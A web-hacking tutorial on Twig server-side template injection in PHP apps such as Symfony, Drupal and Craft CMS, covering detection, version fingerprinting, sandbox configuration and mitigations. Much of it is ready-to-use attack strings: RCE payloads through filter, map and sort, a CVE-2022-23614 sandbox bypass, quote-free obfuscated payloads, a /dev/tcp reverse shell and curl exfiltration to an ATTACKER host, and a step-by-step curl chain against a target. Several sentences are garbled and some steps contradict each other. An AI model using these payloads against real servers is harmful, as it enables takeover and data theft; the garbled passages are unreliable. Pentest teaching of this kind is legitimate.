web hacking

Twig SSTI and Sandbox Bypass: RCE in Twig, CMS and PHP Filters

Twig SSTI and Sandbox Bypass: RCE in Twig, CMS and PHP Filters

Twig SSTI ,detection, payload and RCE: fingerprint vs Jinja2, payload for Twig 2.x and 3.x, filter/map/reduce bypass, sandbox escape, Drupal/Craft CMS and mitigations

  • Posted on 2026-07-24
  • Reading time: 10 min

Twig SSTI and Sandbox Bypass: Payload, Fingerprint, RCE and Versions #

Twig SSTI puts you inside the Symfony, Laravel, or Drupal PHP server—not in the victim's browser, but on the server itself. Instant test: {{7*'7'}} — if you get 49 (not 7777777), is Twig. From there to RCE it's a short step: {{['id']|filter('system')}} works on the vast majority of Twig 2.x/3.x installations you find in 2026 — map, reduce e sort are the alternatives if filter is blocked. The historical vector _self.env.registerUndefinedFilterCallback It died with Twig 1.x (pre-2016, now rare): if you see it cited as “the” method, the source is old. Sandbox active? Look for the target version’s CVE or a whitelisted object with dangerous methods.

Twig runs behind half of modern PHP: Symfony uses it by default, Laravel imports it via TwigBridge, Drupal 8+ uses it in every theme, and Craft CMS often exposes it in admin panels. When one of these applications concatenates user input into the template source instead of passing it as a variable, the engine interprets it as code—this is when a Server-Side Template Injection (SSI) is born . Unlike XSS, the code runs on the server side: filesystem, credentials, database, everything is accessible.

It is part of the SSTI cluster and the Injection Attacks guide.


What is a Twig SSTI? #

Twig SSTI occurs when user input is concatenated directly into the template source instead of being passed as a variable to the renderer. Twig compiles the contents of the delimiters. {{}} e {%%} in its own DSL (a dedicated expression language, then compiled into PHP) — does not execute arbitrary PHP directly. If an attacker controls that source, they can still achieve function and command execution through the objects and filters the DSL exposes.

Be careful not to confuse two different things: if the input ends in the source of the template (e.g. $twig->createTemplate($_GET['tpl'])), SSTI is true. If the input only chooses the name of the template to upload (e.g. $twig->render($_GET['page'].'.twig', $data)), is a path traversal/LFI problem — a different vector, not SSTI. If the input is passed as variable to render ($twig->render('hello.twig', ['name' => $_GET['name']])), is not normally re-executed as a template.

Vulnerable code and secure code #

php
// VULNERABILE — input nel SORGENTE del template (vera SSTI)
$template = $twig->createTemplate("Ciao " . $_GET['name'] . "!");
echo $template->render([]);

// VULNERABILE — variante equivalente
echo $twig->createTemplate("Ciao {$_GET['name']}!")->render([]);

// ATTENZIONE — questo NON è SSTI, è path traversal/LFI
$twig->render($_GET['template'], $data);
// ^^^ l'utente sceglie quale FILE caricare, non inietta sorgente Twig

// SICURO — input come variabile nel template
echo $twig->render('hello.html.twig', ['name' => $_GET['name']]);

The difference is always the same: the input must end up in the template source (createTemplate() with user-controlled string), not just be the file name to load or a variable passed to rendering.


Where it actually appears in the PHP ecosystem #

symfony #

Symfony uses Twig as its default engine. The most common surfaces are controllers that use renderView() o render() with variables that end up in the template — but also transactional email features, notifications, and user-customizable templates.

Laravel #

Laravel has Blade as its native engine, but many applications use Twig via packages like TwigBridgeThe most common vulnerability pattern in Laravel is the use of twig()->render() with user input in template string.

Drupal #

Drupal 8+ uses Twig as the default theme template engine. The typical interface is in admin-editable templates or text fields that are rendered as Twig without a sandbox.

Craft CMS and other PHP CMS #

Craft CMS uses Twig extensively for templates, often editable via the admin panel—a compromised admin or insider can inject SSTI, and in many setups the sandbox isn't enabled by default. Statamic, on the other hand, uses Antlers as its native template engine (with Blade as a supported alternative)—Twig isn't the default there: always check which template engine is actually in use before applying Twig payloads.

Typical surfaces in 2026 #

  • Email preview features with editable templates
  • User-controlled PDF generators with Twig templates
  • Admin panels with template editor
  • APIs that accept template_body in JSON
  • Plugins and CMS modules with Twig embedding

Twig Detection and Fingerprinting #

Initial polyglot #

First, send the polyglot on each parameter:

${{<%[%'"}}%\.

If the response changes or an error appears, some engine has responded. It then uses the specific payloads.

Twig Confirmation #

text
{{7*7}}       → 49 (Twig o Jinja2, da distinguere dopo)
{{7*'7'}}     → 49 (Twig — NON moltiplica stringhe)

The test {{7*'7'}} is the key discriminant: Twig returns 49, Jinja2 returns 7777777. If you have 49, you are working with Twig (or Nunjucks, but the PHP context excludes the latter).

Advanced Fingerprint #

text
{{_self}}                 → dal Twig 2.0 in poi (2016+) è il NOME del template, una stringa — non un oggetto
{{_self.env}}             → funziona SOLO su Twig 1.x (pre-2.0): su 2.x/3.x _self è una stringa e non ha .env
{{twig_version()}}        → versione Twig (se la funzione è esposta)
{{constant('Twig\\Environment::VERSION')}} → versione Twig, se la funzione `constant()` è raggiungibile (funziona anche su 2.x/3.x, a differenza di _self.env)

Se {{_self}} show the name of the template file (e.g. index.html.twig), confirm Twig 2.x/3.x. If it shows something like __TwigTemplate_... (a compiled class name), you are on the Twig 1.x Template object — a much older and rarer version in 2026.

Detection by errors #

Twig errors are verbose and reveal the version:

  • Twig_Error_Syntax → Twig 1.x/2.x
  • Twig\Error\SyntaxError → Twig 3.x
  • Variable "x" does not exist → UndefinedError Twig confirmed

Use Burp Suite to intercept requests and test payloads in the Repeater. For automatic parameter discovery, use OWASP ZAP with active scan. To identify the framework and version before testing, use Wappalyzer or WhatWeb from the CLI.


Key differences between Twig and Jinja2 #

Twig and Jinja2 they use the same delimiters {{}} e {%%}, but the exploitation logic is completely different. The payloads are not interchangeable.

FeatureTwigJinja2
LanguagePHPPython
{{7*'7'}}497777777
Cross-classNot applicableMRO Python
Main vectorfilters (filter/map/sort) - _self.env only on Twig 1.xconfig, __class__.__mro__
SandboxOptional (disabled by default)SandboxedEnvironment
config objectNot availableAvailable in Flask
Direct RCEThrough which channels you reach those people, classic and out of the box. exec/system filterThrough which channels you reach those people, classic and out of the box. os.popen

Typical error : Using Jinja2 payloads on Twig or vice versa. They don't work because the object chain is different.


_self, env and exhibits #

_self — pay attention to the version, the behavior has changed #

This is a point where it is easy to carry on a misunderstanding: _self it doesn't mean the same thing on all Twig versions.

  • Twig 1.x (pre-2.0, released 2016): _self is the instance of the current Template object, with access to _self.env (the Environment).
  • Twig 2.x and 3.x (what you'll almost always find in a real-world target in 2026): _self has been redefined as a simple string with the name of the template. _self.env on these versions it does not give access to any Environment — that behavior simply does not exist anymore.
text
{{_self}}                 → su 2.x/3.x: nome del template (stringa) | su 1.x: oggetto Template

_self.env — historical vector, Twig 1.x only #

On Twig 1.x installations (rare in 2026, but it happens on very old applications that have never been updated), the Environment manages filters, functions, extensions and renderer behavior. If _self.env is reachable, you can register an arbitrary PHP callback:

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

The first payload records exec as a handler for undefined filters. The second invokes exec("id") through the filter mechanism. On Twig 2.x/3.x this entire vector is not available, not because the method registerUndefinedFilterCallback has been removed from the Twig source code (it still exists), but why _self on those versions it is a string and no longer exposes .envIf you test this payload on a modern target, always immediately prepare the vectors via filters (below), which are the ones that are really relevant today.

Objects exposed by the application #

The template context can include custom objects passed from the application. In Symfony, for example, the context often includes app (With app.user, app.request, app.session). In Drupal and other CMS, objects can be exposed with filesystem or database access methods.

Before using generic payloads, enumerate what is available in the context:

twig
{{dump()}}                → mostra tutte le variabili nel contesto
{{dump(_context)}}        → alternativa esplicita

dump() requires that the Debug Extension is enabled (debug: true in Symfony/Twig configuration) — is not available by default in production. If it doesn't respond, the extension is not active: manually enumerate by trying common names (app, user, request, config).


RCE in vulnerable versions / weak configurations #

Twig had two major security releases in 2026: 3.26.0 (13 correct advisories, including 2 critical ones, almost all about the sandbox) and 3.28.0If the target appears to block everything that follows, check the version — it might be up to date. Test {{_self.env.getVersion()}} before choosing the payload.

Through which channels you reach those people, classic and out of the box. _self.env — if reachable #

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Does not show direct output — exec() It doesn't print in PHP. Use passthru:

twig
{{_self.env.registerUndefinedFilterCallback("passthru")}}
{{_self.env.getFilter("id")}}

Via pipe filters (works even when _self.env is protected) #

twig
{{['id']|filter('system')}}
{{['id']|filter('passthru')}}
{{['cat /etc/passwd']|filter('system')}}

Alternative: map, reduce, sort #

Se filter is blacklisted, these often aren't:

twig
{{['id']|map('system')|join}}
{{[0]|reduce('system','id')}}
{{['id',1]|sort('system')|join}}

Version-gated payload (without _self.env) #

From PayloadsAllTheThings — they work without needing the object Environment:

twig
{# Error-Based RCE — Twig <= 1.19 #}
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%}

{# Error-Based RCE — Twig >=1.41, >=2.10, >=3.0 #}
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}}

{# Boolean-Based RCE — Twig >=1.41, >=2.10, >=3.0 #}
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}}

Always check the version before choosing the right branch — a payload for the wrong version fails without giving any clear false positives or false negatives.

CVE-2022-23614 — sandbox bypass via sort #

twig
{% set a = ["error_reporting", "1"]|sort("ini_set") %}{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}{{ ["id", 0]|sort("system") }}{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}

Boolean-based with the same CVE:

twig
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

File reading #

twig
{{'/etc/passwd'|file_excerpt(1,30)}}
{{include("wp-config.php")}}

file_excerpt It is not available in all setups — it depends on the extensions loaded.

Bypass quotes — obfuscation away block e _charset #

If quotes are filtered, use built-in variables block e _charset to build strings without ever writing ' o ":

twig
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

Through which channels you reach those people, classic and out of the box. _context with double rendering (only if the application double-renders the template):

twig
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

Real context: email field with validation #

A field that passes through FILTER_VALIDATE_EMAIL PHP can still pass SSTI if the validated value ends up in the template:

text
POST /subscribe HTTP/1.1

email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Reverse Shell #

twig
{{['bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"']|filter('passthru')}}

Blind / out-of-band exfiltration #

twig
{{['curl http://ATTACKER/$(id|base64)']|filter('system')}}
{{['sleep 5']|filter('system')}}
{{['nslookup oastify.com']|filter('system')}}

If the response arrives within 5 seconds, the SSTI is confirmed. For exfiltration, use an HTTP callback or DNS (Burp Collaborator).

Warning: false confirmations and limitations #

{{7*7}} = 49 confirms Twig or Jinja2, not both. Usa {{7*'7'}}: Twig returns 49, Jinja2 returns 7777777If the backend is PHP, it's Twig. If it's Python, it's Jinja2.

registerUndefinedFilterCallback still exists in the Twig 3.x source — but _self.env No. The method has not been removed from the Twig code; it is _self to have been redefined as a string from 2.0 onwards, so _self.env It simply doesn't produce an Environment on modern builds. If the target is 2.x/3.x (basically always in 2026), it goes straight to the payloads via filter/map/sort.

Sandbox active = error SecurityError. If you see Twig\Sandbox\SecurityError, the sandbox is enabled. Test CVE-2022-23614 if the build is vulnerable, or check for whitelisted objects with malicious methods.

Always check the version before assuming a “universal” payload. The error/boolean-based payloads above are divided by range (<=1.19 vs >=1.41/2.10/3.0) because Twig's internal API has changed. A payload for the wrong branch doesn't give false positives, but it doesn't work either.

Blind contexts. In Drupal, Craft CMS, and email templates, the output is not visible in the response. Use {{['sleep 5']|filter('system')}} to confirm via delay.


From detection to RCE in Twig #

bash
# 1. Conferma SSTI
curl -g 'https://TARGET/?name={{7*7}}'
# 49 → engine con sintassi {{ }}

# 2. Distingui da Jinja2
curl -g 'https://TARGET/?name={{7*"7"}}'
# 49 = Twig | 7777777 = Jinja2

# 3. Conferma Twig
curl -g 'https://TARGET/?name={{_self.env}}'
# Se vedi "Twig\Environment" → Twig confermato

# 4. RCE Twig 1.x (solo se il target è eccezionalmente datato — verifica prima con {{_self}})
curl -g 'https://TARGET/?name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}'

# 5. RCE Twig 3.x
curl -g 'https://TARGET/?name={{["id"]|filter("system")}}'
# Se vedi uid=... → RCE confermata

# 6. Alternative se filter è bloccato
curl -g 'https://TARGET/?name={{["id"]|map("system")|join}}'
curl -g 'https://TARGET/?name={{["id",0]|sort("system")}}'

If at point 5 you see uid=... → the server is compromised. If you receive SecurityError → the sandbox is active, look for whitelisted objects.


Sandbox Mode: What It Blocks and What It Doesn't #

How the Twig sandbox is structured #

The Twig sandbox is an optional mechanism that must be explicitly enabled in the configuration. When enabled, it defines a whitelist of:

  • Allowed tags (e.g. if, for, set)
  • Allowed filters (e.g. upper, lower, date)
  • Allowed functions
  • Methods allowed for each class
  • Properties allowed for each class

If something is not whitelisted, it is blocked with Twig\Sandbox\SecurityError.

Sandbox configuration #

php
// Abilitare la sandbox in Twig
use Twig\Sandbox\SecurityPolicy;
use Twig\Extension\SandboxExtension;

$policy = new SecurityPolicy(
    ['if', 'for'],           // tag permessi
    ['upper', 'lower'],      // filtri permessi
    [],                       // metodi permessi
    [],                       // proprietà permesse
    ['date', 'range']        // funzioni permesse
);

$sandbox = new SandboxExtension($policy, true); // true = sandbox su tutti i template
$twig->addExtension($sandbox);

What blocks the sandbox #

With a correct policy, the sandbox blocks:

  • _self.env.registerUndefinedFilterCallback(...) → non-whitelisted method
  • filter('system') → non-whitelisted filter
  • Accessing unauthorized class methods
  • Calls to native PHP functions not explicitly allowed

What it does NOT block (be careful) #

The sandbox is not a complete solution . Residual risks:

  • Callables exposed by the app: if the application passes objects with dangerous methods to the context and those are whitelisted, they are exploitable
  • Bypass via custom objectsPHP classes with methods that execute code may be whitelisted by mistake
  • Advisory 2024Twig published security advisories in 2024 that include potential bypass vectors. Always update to the latest version and don't assume an older sandboxed build is secure.
  • Sandbox disabled by default: if you have not explicitly configured it, it is not active

Rule of thumb : The Twig sandbox should be enabled whenever you include untrusted templates—templates loaded from databases, user input, or an uncontrolled file system. Simply “using Twig” isn't enough to be safe.


CMS, plugins and custom templates #

Drupal #

Drupal 8+ uses Twig for theme templates. The main interface is in templates editable via the admin panel (if the module is installed) and in field formatters that render text like Twig. In Drupal, the sandbox is not enabled by default for theme templates.

Search: modules like twig_tweak, custom template in /templates/, “Twig Field Value” feature.

CraftCMS #

Craft CMS uses Twig extensively. Templates are editable via the admin panel and are not sandboxed by default. A compromised admin account is equivalent to SSTI → RCE.

Statamic #

Statamic uses Antlers as its native templating language (with Blade support) — Twig is not the default engine. If your pentest involves Statamic, first check which language is actually active instead of assuming Twig; the payloads in this guide only apply if you actually find Twig exposed.

WordPress Plugin with Twig #

Some WordPress plugins (Timber, Twig for WordPress) bring Twig into the WordPress ecosystem. If the plugin allows custom templates editable via the admin, the attack surface exists.

Patterns to look for in CMS #

bash
# File Twig nel progetto
find . -name "*.twig" -o -name "*.html.twig"

# Uso di createTemplate o renderFromString nel codice
grep -r "createTemplate\|renderFromString\|renderTemplate" --include="*.php"

# Template da input utente o database
grep -r "\$_GET\|\$_POST\|\$request->get" --include="*.twig"

Correct mitigations #

Never pass user input as a template #

php
// SBAGLIATO
$twig->render($_GET['template'], $data);
$twig->createTemplate("Ciao " . $input)->render([]);

// CORRETTO
$twig->render('hello.html.twig', ['name' => $input]);

Enable the sandbox when needed #

If you need to allow custom templates (from database, from users), always enable the sandbox with a restrictive policy:

php
$policy = new SecurityPolicy(
    $allowedTags,
    $allowedFilters,
    $allowedMethods,
    $allowedProperties,
    $allowedFunctions
);
$twig->addExtension(new SandboxExtension($policy, true));

Never expose objects in context with dangerous methods.

Update Twig #

Twig has a history of security patches. Always keep the latest stable version—especially for sandbox fixes.

bash
composer show twig/twig  # versione installata
composer update twig/twig # aggiorna

Do not expose dangerous objects in the context #

Even with the sandbox active, analyze what you pass into the template context. Any object with I/O, execution, or filesystem access methods is potentially dangerous if whitelisted.

Code Review #

Look for these patterns in the codebase:

bash
grep -r "createTemplate\|renderFromString" --include="*.php"
grep -r "\$twig->render.*\$_" --include="*.php"
grep -r "registerUndefinedFilterCallback" --include="*.php"

Twig SSTI Pentest Checklist #

Detection #

  • Send polyglot ${{<%[%'"}}%\. on each parameter
  • Testing {{7*7}} — output 49 Confirm compatible engine
  • Testing {{7*'7'}} — output 49 (not 7777777) confirms Twig
  • Testing {{_self}} — output __TwigTemplate_... Twig confirms

Fingerprint and version #

  • Collect verbose errors to identify the version (Twig 1/2/3)
  • Use Wappalyzer o WhatWeb to identify PHP framework and Twig version
  • To verify {{_self.env}} for access to the Environment
  • To verify {{dump()}} to enumerate objects in context

Exploitation #

  • Se {{_self}} show an object (not a string) → you are on Twig 1.x, test registerUndefinedFilterCallback("passthru") + getFilter("id")
  • Twig 3.x: testing ['id']|filter('system')
  • Check if sandbox is active (SecurityError → sandbox present)
  • With sandbox active: Analyze objects in context for dangerous whitelisted methods

Reporting #

  • Document vulnerable parameter and complete request
  • Indicate Twig version and presence/absence of sandbox
  • Attach PoC with id o whoami
  • Describe impact: RCE, file read, credential leak

FAQ #

Are Twig SSTI and Jinja2 SSTI the same thing? No—they use the same delimiters but completely different payloads. Jinja2's exploitation logic (Python MRO traversal) doesn't apply to Twig (PHP). See the comparison in the SSTI guide and the Jinja2 SSTI to RCE guide.

Does the Twig sandbox secure your application? Not completely. The sandbox reduces the surface area but doesn't eliminate the risk—it depends on the configured policy, the objects exposed in the context, and the version. Never assume that "sandboxed" means "it's safe."

Is Twig 3.x immune to SSTI? No. registerUndefinedFilterCallback is still in the Twig 3.x source — it has not been removed, as explained above. The problem is the reachability of _self.env, not the existence of the method. However, there are alternative vectors independent of _self.env, as filter('system'), map, sort version-gated payloads. The impact always depends on the specific configuration, never on the major version alone.

How do I identify the target Twig version? Parse verbose errors (namespace changes between 1.x/2.x and 3.x), use WhatWeb or look at the composer.lock if you have access to the filesystem.


Satellite of the SSTI Guide and the Complete Injection Attacks Guide . See also: Jinja2 SSTI to RCE , FreeMarker SSTI , Thymeleaf SSTI , Burp Suite , OWASP ZAP.

External references : PortSwigger — SSTI · Twig Security Documentation · OWASP WSTG — SSTI

#ssti #twig #Server-Side Template Injection

leave a message

I'm not a robot